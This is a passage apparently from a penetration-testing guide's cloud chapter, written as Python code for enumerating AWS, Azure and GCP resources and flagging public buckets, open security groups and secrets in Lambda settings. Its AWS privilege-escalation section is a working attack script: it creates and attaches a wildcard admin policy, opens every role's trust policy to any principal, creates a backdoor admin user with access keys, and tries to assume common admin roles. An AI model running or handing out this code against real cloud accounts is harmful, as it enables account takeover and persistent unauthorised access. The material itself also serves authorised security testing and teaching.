self.session.client('s3')\n        s3_results = {\n            'buckets': [],\n            'public_buckets': []\n        }\n        \n        try:\n            # List buckets\n            response = s3.list_buckets()\n            \n            for bucket in response.get('Buckets', []):\n                bucket_name = bucket['Name']\n                bucket_info = {\n                    'name': bucket_name,\n                    'creation_date': bucket['CreationDate'].isoformat(),\n                    'region': None,\n                    'acl': None,\n                    'public': False,\n                    'versioning': None,\n                    'encryption': None,\n                    'logging': None\n                }\n                \n                # Get bucket location\n                try:\n                    location = s3.get_bucket_location(Bucket=bucket_name)\n                    bucket_info['region'] = location['LocationConstraint'] or 'us-east-1'\n                except:\n                    pass\n                    \n                # Check bucket ACL\n                try:\n                    acl = s3.get_bucket_acl(Bucket=bucket_name)\n                    bucket_info['acl'] = acl\n                    \n                    # Check for public access\n                    for grant in acl['Grants']:\n                        grantee = grant.get('Grantee', {})\n                        if 'URI' in grantee and 'AllUsers' in grantee['URI']:\n                            bucket_info['public'] = True\n                            s3_results['public_buckets'].append(bucket_name)\n                except:\n                    pass\n                    \n                # Check versioning\n                try:\n                    versioning = s3.get_bucket_versioning(Bucket=bucket_name)\n                    bucket_info['versioning'] = versioning.get('Status', 'Disabled')\n                except:\n                    pass\n                    \n                # Check encryption\n                try:\n                    encryption = s3.get_bucket_encryption(Bucket=bucket_name)\n                    bucket_info['encryption'] = encryption\n                except:\n                    pass\n                    \n                # Check logging\n                try:\n                    logging = s3.get_bucket_logging(Bucket=bucket_name)\n                    bucket_info['logging'] = logging\n                except:\n                    pass\n                    \n                s3_results['buckets'].append(bucket_info)\n                \n        except botocore.exceptions.ClientError as e:\n            print(f\"[-] S3 enumeration failed: {e}\")\n            \n        self.results['s3'] = s3_results\n        return s3_results\n    \n    def enumerate_ec2(self):\n        \"\"\"Enumerate EC2 instances and related resources\"\"\"\n        \n        print(\"[*] Enumerating EC2...\")\n        \n        ec2 = self.session.client('ec2')\n        ec2_results = {\n            'instances': [],\n            'security_groups': [],\n            'volumes': [],\n            'snapshots': [],\n            'amis': []\n        }\n        \n        try:\n            # List instances\n            paginator = ec2.get_paginator('describe_instances')\n            for page in paginator.paginate():\n                for reservation in page['Reservations']:\n                    for instance in reservation['Instances']:\n                        instance_info = {\n                            'instance_id': instance['InstanceId'],\n                            'instance_type': instance['InstanceType'],\n                            'state': instance['State']['Name'],\n                            'launch_time': instance['LaunchTime'].isoformat(),\n                            'public_ip': instance.get('PublicIpAddress', 'N/A'),\n                            'private_ip': instance.get('PrivateIpAddress', 'N/A'),\n                            'vpc_id': instance.get('VpcId', 'N/A'),\n                            'subnet_id': instance.get('SubnetId', 'N/A'),\n                            'security_groups': instance.get('SecurityGroups', [])\n                        }\n                        ec2_results['instances'].append(instance_info)\n                        \n            # List security groups\n            paginator = ec2.get_paginator('describe_security_groups')\n            for page in paginator.paginate():\n                for sg in page['SecurityGroups']:\n                    sg_info = {\n                        'group_id': sg['GroupId'],\n                        'group_name': sg['GroupName'],\n                        'vpc_id': sg.get('VpcId', 'N/A'),\n                        'rules': []\n                    }\n                    \n                    # Check for overly permissive rules\n                    for rule in sg.get('IpPermissions', []):\n                        for ip_range in rule.get('IpRanges', []):\n                            if ip_range.get('CidrIp') == '0.0.0.0/0':\n                                sg_info['rules'].append({\n                                    'protocol': rule.get('IpProtocol', 'all'),\n                                    'from_port': rule.get('FromPort', 'all'),\n                                    'to_port': rule.get('ToPort', 'all'),\n                                    'public': True\n                                })\n                                \n                    ec2_results['security_groups'].append(sg_info)\n                    \n            # List volumes\n            paginator = ec2.get_paginator('describe_volumes')\n            for page in paginator.paginate():\n                for volume in page['Volumes']:\n                    ec2_results['volumes'].append({\n                        'volume_id': volume['VolumeId'],\n                        'size': volume['Size'],\n                        'volume_type': volume['VolumeType'],\n                        'state': volume['State'],\n                        'encrypted': volume['Encrypted'],\n                        'attachments': volume.get('Attachments', [])\n                    })\n                    \n        except botocore.exceptions.ClientError as e:\n            print(f\"[-] EC2 enumeration failed: {e}\")\n            \n        self.results['ec2'] = ec2_results\n        return ec2_results\n    \n    def enumerate_lambda(self):\n        \"\"\"Enumerate Lambda functions\"\"\"\n        \n        print(\"[*] Enumerating Lambda...\")\n        \n        lambda_client = self.session.client('lambda')\n        lambda_results = []\n        \n        try:\n            paginator = lambda_client.get_paginator('list_functions')\n            for page in paginator.paginate():\n                for function in page['Functions']:\n                    func_info = {\n                        'function_name': function['FunctionName'],\n                        'runtime': function['Runtime'],\n                        'role': function['Role'],\n                        'handler': function['Handler'],\n                        'code_size': function['CodeSize'],\n                        'timeout': function['Timeout'],\n                        'memory_size': function['MemorySize'],\n                        'last_modified': function['LastModified'],\n                        'environment': function.get('Environment', {}).get('Variables', {})\n                    }\n                    \n                    # Check for exposed secrets in environment\n                    if func_info['environment']:\n                        for key, value in func_info['environment'].items():\n                            if any(secret in key.lower() for secret in ['password', 'secret', 'key', 'token']):\n                                print(f\"[!] Possible secret in Lambda {function['FunctionName']}: {key}\")\n                                \n                    lambda_results.append(func_info)\n                    \n        except botocore.exceptions.ClientError as e:\n            print(f\"[-] Lambda enumeration failed: {e}\")\n            \n        self.results['lambda'] = lambda_results\n        return lambda_results\n    \n    def enumerate_rds(self):\n        \"\"\"Enumerate RDS databases\"\"\"\n        \n        print(\"[*] Enumerating RDS...\")\n        \n        rds = self.session.client('rds')\n        rds_results = []\n        \n        try:\n            paginator = rds.get_paginator('describe_db_instances')\n            for page in paginator.paginate():\n                for instance in page['DBInstances']:\n                    rds_results.append({\n                        'db_instance_identifier': instance['DBInstanceIdentifier'],\n                        'engine': instance['Engine'],\n                        'engine_version': instance['EngineVersion'],\n                        'db_instance_class': instance['DBInstanceClass'],\n                        'master_username': instance['MasterUsername'],\n                        'endpoint': instance.get('Endpoint', {}).get('Address', 'N/A'),\n                        'port': instance.get('Endpoint', {}).get('Port', 'N/A'),\n                        'publicly_accessible': instance['PubliclyAccessible'],\n                        'storage_encrypted': instance['StorageEncrypted'],\n                        'multi_az': instance['MultiAZ'],\n                        'auto_minor_version_upgrade': instance['AutoMinorVersionUpgrade']\n                    })\n                    \n        except botocore.exceptions.ClientError as e:\n            print(f\"[-] RDS enumeration failed: {e}\")\n            \n        self.results['rds'] = rds_results\n        return rds_results\n    \n    def enumerate_cloudtrail(self):\n        \"\"\"Enumerate CloudTrail logs\"\"\"\n        \n        print(\"[*] Enumerating CloudTrail...\")\n        \n        cloudtrail = self.session.client('cloudtrail')\n        cloudtrail_results = []\n        \n        try:\n            response = cloudtrail.describe_trails()\n            for trail in response['trailList']:\n                trail_info = {\n                    'name': trail['Name'],\n                    's3_bucket_name': trail['S3BucketName'],\n                    'is_multi_region_trail': trail['IsMultiRegionTrail'],\n                    'log_file_validation_enabled': trail.get('LogFileValidationEnabled', False),\n                    'cloud_watch_logs_log_group_arn': trail.get('CloudWatchLogsLogGroupArn', 'N/A')\n                }\n                \n                # Get trail status\n                try:\n                    status = cloudtrail.get_trail_status(Name=trail['Name'])\n                    trail_info['is_logging'] = status['IsLogging']\n                    trail_info['latest_delivery_time'] = status.get('LatestDeliveryTime', 'N/A').isoformat() if status.get('LatestDeliveryTime') else 'N/A'\n                except:\n                    trail_info['is_logging'] = 'Unknown'\n                    \n                cloudtrail_results.append(trail_info)\n                \n        except botocore.exceptions.ClientError as e:\n            print(f\"[-] CloudTrail enumeration failed: {e}\")\n            \n        self.results['cloudtrail'] = cloudtrail_results\n        return cloudtrail_results\n    \n    def check_public_buckets(self):\n        \"\"\"Specifically check for public S3 buckets\"\"\"\n        \n        if 's3' not in self.results:\n            self.enumerate_s3()\n            \n        public_buckets = []\n        \n        for bucket in self.results['s3']['buckets']:\n            if bucket['public']:\n                public_buckets.append(bucket)\n                \n                # Try to list bucket contents\n                s3 = self.session.client('s3')\n                try:\n                    objects = s3.list_objects_v2(Bucket=bucket['name'], MaxKeys=10)\n                    if 'Contents' in objects:\n                        print(f\"[!] Public bucket {bucket['name']} contains {len(objects['Contents'])} objects\")\n                except:\n                    pass\n                    \n        return public_buckets\n    \n    def generate_report(self):\n        \"\"\"Generate enumeration report\"\"\"\n        \n        report = {\n            'timestamp': datetime.now().isoformat(),\n            'iam': self.results.get('iam', {}),\n            's3': self.results.get('s3', {}),\n            'ec2': self.results.get('ec2', {}),\n            'lambda': self.results.get('lambda', []),\n            'rds': self.results.get('rds', []),\n            'cloudtrail': self.results.get('cloudtrail', []),\n            'security_issues': []\n        }\n        \n        # Identify security issues\n        if self.results.get('s3', {}).get('public_buckets'):\n            report['security_issues'].append({\n                'type': 'Public S3 Buckets',\n                'count': len(self.results['s3']['public_buckets']),\n                'buckets': self.results['s3']['public_buckets']\n            })\n            \n        for sg in self.results.get('ec2', {}).get('security_groups', []):\n            for rule in sg.get('rules', []):\n                if rule.get('public'):\n                    report['security_issues'].append({\n                        'type': 'Public Security Group',\n                        'group': sg['group_name'],\n                        'rule': rule\n                    })\n                    \n        return report\n\n# Example usage\naws_enum = AWSEnumerator()\n\n# Enumerate services\naws_enum.enumerate_iam()\naws_enum.enumerate_s3()\naws_enum.enumerate_ec2()\naws_enum.enumerate_lambda()\naws_enum.enumerate_rds()\naws_enum.enumerate_cloudtrail()\n\n# Check for public buckets\npublic_buckets = aws_enum.check_public_buckets()\nprint(f\"[+] Found {len(public_buckets)} public buckets\")\n\n# Generate report\nreport = aws_enum.generate_report()\nprint(json.dumps(report, indent=2))\n```\n\n#### 26.1.2 AWS Privilege Escalation\n\n```python\n#!/usr/bin/env python3\n# aws_privesc.py\n\nimport boto3\nimport json\nimport base64\n\nclass AWSPrivEsc:\n    def __init__(self, session):\n        self.session = session\n        \n    def check_privileges(self):\n        \"\"\"Check current user/role privileges\"\"\"\n        \n        sts = self.session.client('sts')\n        \n        try:\n            identity = sts.get_caller_identity()\n            print(f\"[+] Current identity: {identity['Arn']}\")\n            \n            # Try to get IAM policy\n            iam = self.session.client('iam')\n            try:\n                policies = iam.list_attached_user_policies(\n                    UserName=identity['Arn'].split('/')[-1]\n                )\n                print(f\"[+] Attached policies: {len(policies['AttachedPolicies'])}\")\n            except:\n                pass\n                \n            return identity\n        except:\n            return None\n    \n    def escalate_via_iam(self):\n        \"\"\"Attempt IAM privilege escalation\"\"\"\n        \n        iam = self.session.client('iam')\n        \n        techniques = [\n            self.create_admin_policy,\n            self.update_assume_role_policy,\n            self.create_new_user\n        ]\n        \n        for technique in techniques:\n            try:\n                result = technique(iam)\n                if result:\n                    return result\n            except:\n                pass\n                \n        return None\n    \n    def create_admin_policy(self, iam):\n        \"\"\"Create and attach admin policy\"\"\"\n        \n        admin_policy = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Effect\": \"Allow\",\n                    \"Action\": \"*\",\n                    \"Resource\": \"*\"\n                }\n            ]\n        }\n        \n        policy_name = \"TempAdminPolicy\"\n        \n        response = iam.create_policy(\n            PolicyName=policy_name,\n            PolicyDocument=json.dumps(admin_policy)\n        )\n        \n        policy_arn = response['Policy']['Arn']\n        \n        # Attach to current user\n        sts = self.session.client('sts')\n        identity = sts.get_caller_identity()\n        username = identity['Arn'].split('/')[-1]\n        \n        iam.attach_user_policy(\n            UserName=username,\n            PolicyArn=policy_arn\n        )\n        \n        return f\"Created and attached admin policy: {policy_arn}\"\n    \n    def update_assume_role_policy(self, iam):\n        \"\"\"Update assume role policy to allow access\"\"\"\n        \n        # List roles\n        roles = iam.list_roles()\n        \n        for role in roles['Roles']:\n            # Try to update assume role policy\n            try:\n                assume_policy = {\n                    \"Version\": \"2012-10-17\",\n                    \"Statement\": [\n                        {\n                            \"Effect\": \"Allow\",\n                            \"Principal\": {\"AWS\": \"*\"},\n                            \"Action\": \"sts:AssumeRole\"\n                        }\n                    ]\n                }\n                \n                iam.update_assume_role_policy(\n                    RoleName=role['RoleName'],\n                    PolicyDocument=json.dumps(assume_policy)\n                )\n                \n                return f\"Updated assume role policy for {role['RoleName']}\"\n            except:\n                pass\n                \n        return None\n    \n    def create_new_user(self, iam):\n        \"\"\"Create new admin user\"\"\"\n        \n        username = \"tempadmin\"\n        \n        try:\n            # Create user\n            user = iam.create_user(UserName=username)\n            \n            # Create admin policy\n            admin_policy = {\n                \"Version\": \"2012-10-17\",\n                \"Statement\": [\n                    {\n                        \"Effect\": \"Allow\",\n                        \"Action\": \"*\",\n                        \"Resource\": \"*\"\n                    }\n                ]\n            }\n            \n            iam.put_user_policy(\n                UserName=username,\n                PolicyName=\"AdminPolicy\",\n                PolicyDocument=json.dumps(admin_policy)\n            )\n            \n            # Create access key\n            keys = iam.create_access_key(UserName=username)\n            \n            return {\n                'username': username,\n                'access_key': keys['AccessKey']['AccessKeyId'],\n                'secret_key': keys['AccessKey']['SecretAccessKey']\n            }\n        except:\n            return None\n    \n    def assume_high_privilege_role(self):\n        \"\"\"Try to assume high privilege roles\"\"\"\n        \n        sts = self.session.client('sts')\n        \n        common_admin_roles = [\n            'admin',\n            'Administrator',\n            'admin-role',\n            'AdministratorAccess',\n            'OrganizationAccountAccessRole'\n        ]\n        \n        for role_name in common_admin_roles:\n            try:\n                response = sts.assume_role(\n                    RoleArn=f\"arn:aws:iam::ACCOUNT_ID:role/{role_name}\",\n                    RoleSessionName=\"PrivEsc\"\n                )\n                \n                return response['Credentials']\n            except:\n                pass\n                \n        return None\n\n# Example usage\n# privesc = AWSPrivEsc(aws_enum.session)\n# result = privesc.check_privileges()\n# escalation = privesc.escalate_via_iam()\n```\n\n### 26.2 Azure Misconfigurations\n\nMicrosoft Azure is the second-largest cloud provider with its own unique security considerations.\n\n#### 26.2.1 Azure Enumeration\n\n```python\n#!/usr/bin/env python3\n# azure_enumeration.py\n\nfrom azure.identity import DefaultAzureCredential\nfrom azure.mgmt.resource import ResourceManagementClient\nfrom azure.mgmt.storage import StorageManagementClient\nfrom azure.mgmt.compute import ComputeManagementClient\nfrom azure.mgmt.sql import SqlManagementClient\nfrom azure.mgmt.monitor import MonitorManagementClient\nimport requests\nimport json\n\nclass AzureEnumerator:\n    def __init__(self, subscription_id=None):\n        self.subscription_id = subscription_id\n        self.credential = DefaultAzureCredential()\n        self.results = {}\n        \n    def enumerate_resources(self):\n        \"\"\"Enumerate all resources\"\"\"\n        \n        print(\"[*] Enumerating Azure resources...\")\n        \n        resource_client = ResourceManagementClient(self.credential, self.subscription_id)\n        \n        resources = []\n        try:\n            for resource in resource_client.resources.list():\n                resources.append({\n                    'name': resource.name,\n                    'type': resource.type,\n                    'location': resource.location,\n                    'resource_group': resource.id.split('/')[4]\n                })\n        except Exception as e:\n            print(f\"[-] Resource enumeration failed: {e}\")\n            \n        self.results['resources'] = resources\n        return resources\n    \n    def enumerate_storage_accounts(self):\n        \"\"\"Enumerate storage accounts\"\"\"\n        \n        print(\"[*] Enumerating storage accounts...\")\n        \n        storage_client = StorageManagementClient(self.credential, self.subscription_id)\n        \n        storage_accounts = []\n        try:\n            for account in storage_client.storage_accounts.list():\n                account_info = {\n                    'name': account.name,\n                    'location': account.location,\n                    'sku': account.sku.name.value,\n                    'kind': account.kind.value,\n                    'primary_endpoint': account.primary_endpoints.blob if account.primary_endpoints else None,\n                    'allow_blob_public_access': account.allow_blob_public_access,\n                    'minimum_tls_version': account.minimum_tls_version,\n                    'network_acls': {\n                        'bypass': account.network_rule_set.bypass if account.network_rule_set else None,\n                        'default_action': account.network_rule_set.default_action if account.network_rule_set else None\n                    }\n                }\n                \n                # Check for public containers\n                if account.allow_blob_public_access:\n                    print(f\"[!] Storage account {account.name} allows public blob access\")\n                    \n                storage_accounts.append(account_info)\n                \n        except Exception as e:\n            print(f\"[-] Storage enumeration failed: {e}\")\n            \n        self.results['storage_accounts'] = storage_accounts\n        return storage_accounts\n    \n    def enumerate_virtual_machines(self):\n        \"\"\"Enumerate virtual machines\"\"\"\n        \n        print(\"[*] Enumerating virtual machines...\")\n        \n        compute_client = ComputeManagementClient(self.credential, self.subscription_id)\n        \n        vms = []\n        try:\n            for vm in compute_client.virtual_machines.list_all():\n                vm_info = {\n                    'name': vm.name,\n                    'location': vm.location,\n                    'vm_size': vm.hardware_profile.vm_size,\n                    'os_type': vm.storage_profile.os_disk.os_type,\n                    'provisioning_state': vm.provisioning_state,\n                    'public_ips': [],\n                    'private_ips': []\n                }\n                \n                # Get network interfaces\n                if vm.network_profile:\n                    for nic_ref in vm.network_profile.network_interfaces:\n                        nic_id = nic_ref.id\n                        nic_client = compute_client.network_interfaces.get(\n                            nic_id.split('/')[4],\n                            nic_id.split('/')[-1]\n                        )\n                        \n                        for ip_config in nic_client.ip_configurations:\n                            if ip_config.private_ip_address:\n                                vm_info['private_ips'].append(ip_config.private_ip_address)\n                            if ip_config.public_ip_address:\n                                public_ip_id = ip_config.public_ip_address.id\n                                if public_ip_id:\n                                    public_ip_client = compute_client.public_ip_addresses.get(\n                                        public_ip_id.split('/')[4],\n                                        public_ip_id.split('/')[-1]\n                                    )\n                                    if public_ip_client.ip_address:\n                                        vm_info['public_ips'].append(public_ip_client.ip_address)\n                                        \n                vms.append(vm_info)\n                \n        except Exception as e:\n            print(f\"[-] VM enumeration failed: {e}\")\n            \n        self.results['virtual_machines'] = vms\n        return vms\n    \n    def enumerate_sql_servers(self):\n        \"\"\"Enumerate SQL servers and databases\"\"\"\n        \n        print(\"[*] Enumerating SQL servers...\")\n        \n        sql_client = SqlManagementClient(self.credential, self.subscription_id)\n        \n        sql_servers = []\n        try:\n            for server in sql_client.servers.list():\n                server_info = {\n                    'name': server.name,\n                    'location': server.location,\n                    'version': server.version,\n                    'state': server.state,\n                    'fully_qualified_domain_name': server.fully_qualified_domain_name,\n                    'databases': []\n                }\n                \n                # Get databases\n                for db in sql_client.databases.list_by_server(\n                    server.id.split('/')[4],  # resource group\n                    server.name\n                ):\n                    server_info['databases'].append({\n                        'name': db.name,\n                        'status': db.status,\n                        'collation': db.collation,\n                        'earliest_restore_date': db.earliest_restore_date.isoformat() if db.earliest_restore_date else None\n                    })\n                    \n                sql_servers.append(server_info)\n                \n        except Exception as e:\n            print(f\"[-] SQL enumeration failed: {e}\")\n            \n        self.results['sql_servers'] = sql_servers\n        return sql_servers\n    \n    def enumerate_key_vaults(self):\n        \"\"\"Enumerate Key Vaults\"\"\"\n        \n        print(\"[*] Enumerating Key Vaults...\")\n        \n        from azure.mgmt.keyvault import KeyVaultManagementClient\n        \n        kv_client = KeyVaultManagementClient(self.credential, self.subscription_id)\n        \n        vaults = []\n        try:\n            for vault in kv_client.vaults.list():\n                vaults.append({\n                    'name': vault.name,\n                    'location': vault.location,\n                    'vault_uri': vault.properties.vault_uri,\n                    'sku': vault.properties.sku.name.value,\n                    'enabled_for_deployment': vault.properties.enabled_for_deployment,\n                    'enabled_for_disk_encryption': vault.properties.enabled_for_disk_encryption,\n                    'enabled_for_template_deployment': vault.properties.enabled_for_template_deployment,\n                    'enable_soft_delete': vault.properties.enable_soft_delete,\n                    'enable_rbac_authorization': vault.properties.enable_rbac_authorization\n                })\n                \n        except Exception as e:\n            print(f\"[-] Key Vault enumeration failed: {e}\")\n            \n        self.results['key_vaults'] = vaults\n        return vaults\n    \n    def check_role_assignments(self):\n        \"\"\"Check RBAC role assignments\"\"\"\n        \n        print(\"[*] Checking role assignments...\")\n        \n        from azure.mgmt.authorization import AuthorizationManagementClient\n        \n        auth_client = AuthorizationManagementClient(self.credential, self.subscription_id)\n        \n        assignments = []\n        try:\n            for assignment in auth_client.role_assignments.list():\n                assignments.append({\n                    'id': assignment.id,\n                    'role_definition_id': assignment.role_definition_id,\n                    'principal_id': assignment.principal_id,\n                    'scope': assignment.scope\n                })\n        except Exception as e:\n            print(f\"[-] Role assignment check failed: {e}\")\n            \n        self.results['role_assignments'] = assignments\n        return assignments\n    \n    def check_diagnostic_settings(self):\n        \"\"\"Check diagnostic settings for monitoring\"\"\"\n        \n        print(\"[*] Checking diagnostic settings...\")\n        \n        monitor_client = MonitorManagementClient(self.credential, self.subscription_id)\n        \n        settings = []\n        try:\n            for resource in self.results.get('resources', []):\n                try:\n                    diag_settings = monitor_client.diagnostic_settings.list(resource['id'])\n                    for setting in diag_settings:\n                        settings.append({\n                            'resource': resource['name'],\n                            'setting_name': setting.name,\n                            'storage_account_id': setting.storage_account_id,\n                            'workspace_id': setting.workspace_id,\n                            'logs': [log.category for log in setting.logs if log.enabled]\n                        })\n                except:\n                    pass\n        except Exception as e:\n            print(f\"[-] Diagnostic settings check failed: {e}\")\n            \n        self.results['diagnostic_settings'] = settings\n        return settings\n    \n    def generate_report(self):\n        \"\"\"Generate Azure enumeration report\"\"\"\n        \n        report = {\n            'subscription_id': self.subscription_id,\n            'resources': self.results.get('resources', []),\n            'storage_accounts': self.results.get('storage_accounts', []),\n            'virtual_machines': self.results.get('virtual_machines', []),\n            'sql_servers': self.results.get('sql_servers', []),\n            'key_vaults': self.results.get('key_vaults', []),\n            'security_issues': []\n        }\n        \n        # Check for security issues\n        for storage in report['storage_accounts']:\n            if storage['allow_blob_public_access']:\n                report['security_issues'].append({\n                    'type': 'Public Storage Account',\n                    'name': storage['name'],\n                    'issue': 'Allows public blob access'\n                })\n                \n            if storage['minimum_tls_version'] != 'TLS1_2':\n                report['security_issues'].append({\n                    'type': 'Weak TLS',\n                    'name': storage['name'],\n                    'issue': f\"Minimum TLS version: {storage['minimum_tls_version']}\"\n                })\n                \n        for vm in report['virtual_machines']:\n            if vm['public_ips']:\n                report['security_issues'].append({\n                    'type': 'Public VM',\n                    'name': vm['name'],\n                    'public_ips': vm['public_ips']\n                })\n                \n        return report\n\n# Example usage\n# azure_enum = AzureEnumerator('your-subscription-id')\n# azure_enum.enumerate_resources()\n# azure_enum.enumerate_storage_accounts()\n# azure_enum.enumerate_virtual_machines()\n# report = azure_enum.generate_report()\n# print(json.dumps(report, indent=2))\n```\n\n### 26.3 GCP Attacks\n\nGoogle Cloud Platform (GCP) has its own security model and attack surfaces.\n\n#### 26.3.1 GCP Enumeration\n\n```python\n#!/usr/bin/env python3\n# gcp_enumeration.py\n\nfrom google.cloud import storage\nfrom google.cloud import compute_v1\nfrom google.cloud import resource_manager\nfrom google.cloud import iam\nfrom google.cloud import logging\nimport google.auth\n\nclass GCPEnumerator:\n    def __init__(self):\n        self.credentials, self.project = google.auth.default()\n        self.results = {}\n        \n    def enumerate_projects(self):\n        \"\"\"Enumerate accessible projects\"\"\"\n        \n        print(\"[*] Enumerating projects...\")\n        \n        client = resource_manager.Client()\n        projects = []\n        \n        try:\n            for project in client.list_projects():\n                projects.append({\n                    'project_id': project.project_id,\n                    'name': project.name,\n                    'number': project.number,\n                    'state': project.status\n                })\n        except Exception as e:\n            print(f\"[-] Project enumeration failed: {e}\")\n            \n        self.results['projects'] = projects\n        return projects\n    \n    def enumerate_storage_buckets(self):\n        \"\"\"Enumerate storage buckets\"\"\"\n        \n        print(\"[*] Enumerating storage buckets...\")\n        \n        client = storage.Client()\n        buckets = []\n        \n        try:\n            for bucket in client.list_buckets():\n                bucket_info = {\n                    'name': bucket.name,\n                    'location': bucket.location,\n                    'storage_class': bucket.storage_class,\n                    'time_created': bucket.time_created.isoformat() if bucket.time_created else None,\n                    'public': False,\n                    'uniform_bucket_level_access': bucket.iam_configuration.uniform_bucket_level_access_enabled if bucket.iam_configuration else False,\n                    'versioning_enabled': bucket.versioning_enabled,\n                    'labels': bucket.labels\n                }\n                \n                # Check bucket permissions\n                try:\n                    policy = bucket.get_iam_policy()\n                    for binding in policy.bindings:\n                        if 'allUsers' in binding['members'] or 'allAuthenticatedUsers' in binding['members']:\n                            bucket_info['public'] = True\n                            print(f\"[!] Bucket {bucket.name} is public\")\n                except:\n                    pass\n                    \n                buckets.append(bucket_info)\n                \n        except Exception as e:\n            print(f\"[-] Bucket enumeration failed: {e}\")\n            \n        self.results['buckets'] = buckets\n        return buckets\n    \n    def enumerate_compute_instances(self):\n        \"\"\"Enumerate Compute Engine instances\"\"\"\n        \n        print(\"[*] Enumerating compute instances...\")\n        \n        client = compute_v1.InstancesClient()\n        instances = []\n        \n        try:\n            # List instances in all zones\n            request = compute_v1.AggregatedListInstancesRequest()\n            request.project = self.project\n            \n            agg_list = client.aggregated_list(request)\n            \n            for zone, response in agg_list:\n                if response.instances:\n                    for instance in response.instances:\n                        instance_info = {\n                            'name': instance.name,\n                            'zone': zone.split('/')[-1],\n                            'machine_type': instance.machine_type.split('/')[-1],\n                            'status': instance.status,\n                            'network_interfaces': []\n                        }\n                        \n                        for nic in instance.network_interfaces:\n                            nic_info = {\n                                'network': nic.network.split('/')[-1],\n                                'private_ip': nic.network_i_p,\n                                'public_ips': []\n                            }\n                            \n                            for access_config in nic.access_configs:\n                                if access_config.nat_i_p:\n                                    nic_info['public_ips'].append(access_config.nat_i_p)\n                                    \n                            instance_info['network_interfaces'].append(nic_info)\n                            \n                        instances.append(instance_info)\n                        \n        except Exception as e:\n            print(f\"[-] Compute enumeration failed: {e}\")\n            \n        self.results['instances'] = instances\n        return instances\n    \n    def enumerate_sql_instances(self):\n        \"\"\"Enumerate Cloud SQL instances\"\"\"\n        \n        print(\"[*] Enumerating Cloud SQL instances...\")\n        \n        from google.cloud import sql_v1\n        \n        client = sql_v1.SqlInstancesServiceClient()\n        instances = []\n        \n        try:\n            request = sql_v1.SqlInstancesListRequest(project=self.project)\n            response = client.list(request)\n            \n            for instance in response.items:\n                instances.append({\n                    'name': instance.name,\n                    'database_version': instance.database_version,\n                    'region': instance.region,\n                    'tier': instance.settings.tier,\n                    'public_ip': instance.ip_addresses[0].ip_address if instance.ip_addresses else None,\n                    'private_ip': instance.private_ip_address,\n                    'require_ssl': instance.settings.ip_configuration.require_ssl,\n                    'authorized_networks': [\n                        net.value for net in instance.settings.ip_configuration.authorized_networks\n                    ] if instance.settings.ip_configuration.authorized_networks else []\n                })\n                \n        except Exception as e:\n            print(f\"[-] SQL enumeration failed: {e}\")\n            \n        self.results['sql_instances'] = instances\n        return instances\n    \n    def enumerate_kubernetes_clusters(self):\n        \"\"\"Enumerate GKE clusters\"\"\"\n        \n        print(\"[*] Enumerating Kubernetes clusters...\")\n        \n        from google.cloud import container_v1\n        \n        client = container_v1.ClusterManagerClient()\n        clusters = []\n        \n        try:\n            request = container_v1.ListClustersRequest(project_id=self.project, zone='-')\n            response = client.list_clusters(request)\n            \n            for cluster in response.clusters:\n                clusters.append({\n                    'name': cluster.name,\n                    'location': cluster.location,\n                    'status': cluster.status,\n                    'endpoint': cluster.endpoint,\n                    'master_version': cluster.current_master_version,\n                    'node_version': cluster.current_node_version,\n                    'node_count': cluster.current_node_count,\n                    'network': cluster.network,\n                    'subnetwork': cluster.subnetwork,\n                    'enable_legacy_abac': cluster.legacy_abac.enabled if cluster.legacy_abac else False,\n                    'master_authorized_networks': [\n                        net.cidr_block for net in cluster.master_authorized_networks_config.cidr_blocks\n                    ] if cluster.master_authorized_networks_config else []\n                })\n                \n        except Exception as e:\n            print(f\"[-] GKE enumeration failed: {e}\")\n            \n        self.results['clusters'] = clusters\n        return clusters\n    \n    def enumerate_service_accounts(self):\n        \"\"\"Enumerate service accounts\"\"\"\n        \n        print(\"[*] Enumerating service accounts...\")\n        \n        client = iam.IAMClient()\n        service_accounts = []\n        \n        try:\n            request = iam.ListServiceAccountsRequest(name=f\"projects/{self.project}\")\n            response = client.list_service_accounts(request)\n            \n            for account in response:\n                service_accounts.append({\n                    'name': account.name,\n                    'email': account.email,\n                    'display_name': account.display_name,\n                    'disabled': account.disabled\n                })\n                \n                # Check keys\n                keys_client = iam.IAMCredentialsClient()\n                keys_request = iam.ListServiceAccountKeysRequest(name=account.name)\n                try:\n                    keys_response = keys_client.list_service_account_keys(keys_request)\n                    if keys_response.keys:\n                        print(f\"[!] Service account {account.email} has {len(keys_response.keys)} keys\")\n                except:\n                    pass\n                    \n        except Exception as e:\n            print(f\"[-] Service account enumeration failed: {e}\")\n            \n        self.results['service_accounts'] = service_accounts\n        return service_accounts\n    \n    def check_audit_logs(self):\n        \"\"\"Check audit logging configuration\"\"\"\n        \n        print(\"[*] Checking audit logs...\")\n        \n        logging_client = logging.Client()\n        logs = []\n        \n        try:\n            for entry in logging_client.list_entries(max_results=100):\n                logs.append({\n                    'timestamp': entry.timestamp.isoformat(),\n                    'severity': entry.severity,\n                    'resource': entry.resource.type,\n                    'operation': entry.operation.producer if entry.operation else None\n                })\n        except Exception as e:\n            print(f\"[-] Audit log check failed: {e}\")\n            \n        self.results['audit_logs'] = logs\n        return logs\n    \n    def generate_report(self):\n        \"\"\"Generate GCP enumeration report\"\"\"\n        \n        report = {\n            'project': self.project,\n            'projects': self.results.get('projects', []),\n            'buckets': self.results.get('buckets', []),\n            'instances': self.results.get('instances', []),\n            'sql_instances': self.results.get('sql_instances', []),\n            'clusters': self.results.get('clusters', []),\n            'service_accounts': self.results.get('service_accounts', []),\n            'security_issues': []\n        }\n        \n        # Check for security issues\n        for bucket in report['buckets']:\n            if bucket['public']:\n                report['security_issues'].append({\n                    'type': 'Public Bucket',\n                    'name': bucket['name']\n                })\n                \n        for instance in report['instances']:\n            for nic in instance['network_interfaces']:\n                if nic['public_ips']:\n                    report['security_issues'].append({\n                        'type': 'Public Instance',\n                        'name': instance['name'],\n                        'public_ips': nic['public_ips']\n                    })\n                    \n        for sql in report['sql_instances']:\n            if sql['public_ip'] and sql['authorized_networks']:\n                for net in sql['authorized_networks']:\n                    if net == '0.0.0.0/0':\n                        report['security_issues'].append({\n                            'type': 'Public SQL Instance',\n                            'name': sql['name']\n                        })\n                        \n        return report\n\n# Example usage\ngcp_enum = GCPEnumerator()\ngcp_enum.enumerate_projects()\ngcp_enum.enumerate_storage_buckets()\ngcp_enum.enumerate_compute_instances()\ngcp_enum.enumerate_service_accounts()\nreport = gcp_enum.generate_report()\nprint(json.dumps(report, 